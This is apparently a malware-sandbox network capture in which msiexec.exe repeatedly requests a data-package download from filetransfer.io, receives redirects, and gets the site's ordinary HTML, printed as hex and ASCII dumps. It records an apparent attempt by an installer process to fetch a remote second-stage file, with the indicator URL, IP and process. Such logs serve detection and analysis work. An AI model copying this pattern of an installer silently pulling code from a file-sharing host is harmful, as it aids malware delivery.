2025-01-10 19:14:48 UTC	493	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 75 6e 73 75 70 70 6f 72 74 65 64 2d 64 72 6f 70 22 3e 0a 09 09 09 09 09 54 68 69 73 20 66 69 6c 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 72 61 67 67 65 64 2e 20 50 6c 65 61 73 65 20 73 65 6c 65 63 74 20 69 74 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 22 3c 73 74 72 6f 6e 67 3e 63 68 6f 6f 73 65 20 66 72 6f Data Ascii: n class="icon-times"></span></a></div>... .alert --><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="unsupported-drop">This file cannot be dragged. Please select it by clicking the "<strong>choose fro
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 31 66 32 33 0d 0a 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 20 74 68 65 20 73 70 65 63 69 66 69 63 20 66 69 6c 65 73 20 69 74 20 63 6f 6e 74 61 69 6e 73 2e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 75 6c 74 69 70 6c 65 20 68 69 64 64 65 6e 22 Data Ascii: 1f23<span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add the specific files it contains.</span><span class="multiple hidden"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	57970	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:49 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:49 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:49 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:49 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cTtniGlpGe68f%2B8KeU6rSBWgrgRfP0Uo1Ir%2B5ihV6vLr%2BrBMHWkXPXoxfChA0iaEgHd7dYdMU5vJ4etIGD6AHS72iWqGWeJPvTlLMeQMaecSjrMmC0i5aG7hWY1G%2BHIyAXc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe04ffbe8cb4-EWR
2025-01-10 19:14:49 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	57971	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:50 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:50 UTC	942	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: S6l03UF6l3F3euhrIRYZjvjkofdXar82OBhnEYknjbWXdCrESc2oaz9c2t6wbC4uMDnd0UM0WOY= x-amz-request-id: EZ6CSMBDR2JC7YAN Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g6717%2BoxCXGAlhypmJawsQfNSvoXRad8zOsK67k2sQLNxHOithvJTkX9glWM0lpbim4IjPIkAz2LaabUla7OMTqx5YytdaoDGb9pJ16E7yuRYhOCZPlX%2Bs7jAfNwVsAXw2Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe08c9d442e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1591&rtt_var=603&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1804697&cwnd=202&unsent_bytes=0&cid=e2cfbdae01314716&ts=195&x=0"
2025-01-10 19:14:50 UTC	427	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f Data Ascii: charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descriptio
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 Data Ascii: -icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><li
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 Data Ascii: <meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="website
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 20 3d Data Ascii: g of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave =
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e 74 72 Data Ascii: time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sentr
2025-01-10 19:14:50 UTC	1352	IN	Data Raw: 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 Data Ascii: h to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:50 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	57972	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:51 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:51 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:51 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:51 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ta%2FB9rHdJoTbXseBPlQinawWIoSchySYOFFjRjY8%2FIu4Q47boKRq0GkyFLYglCwZcyFVcag9xbSmI3M59dCklytfabfOmz0LryWeNUAaoQ%2FIO0pGvwAUHjlUINyQyVQZmEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe0e3ff841fb-EWR
2025-01-10 19:14:51 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	57973	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:51 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:51 UTC	978	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: X7oF+IBnXOZbpNngvizn+W2xp15M2bTWmkLIqjQmjj2UTNMTW0ZyTEvjFdi4COoxCs/rEFOEyHb/hEyhNXxSB3CKR3Y5NL7JAN8f4CGWwac= x-amz-request-id: EASKDV72XAQ7YFMK Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1EEivsuDXy1lyVfueQX6AxnoZEYANH8zSs2ZApD1jtde4%2BdlyYby9keznVschG9SWA%2BX0awBBQpGlWdQea2XO4BWEsdGCWv9nodVQ%2Fh%2FnvLr33PfaQ1T9DyjDSqygNGoUx4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe123c86de94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1594&rtt_var=599&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1822721&cwnd=235&unsent_bytes=0&cid=4181648435988ba6&ts=206&x=0"
2025-01-10 19:14:51 UTC	391	IN	Data Raw: 32 31 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2183<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 64 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 Data Ascii: d">...<![endif]--><head><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 64 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 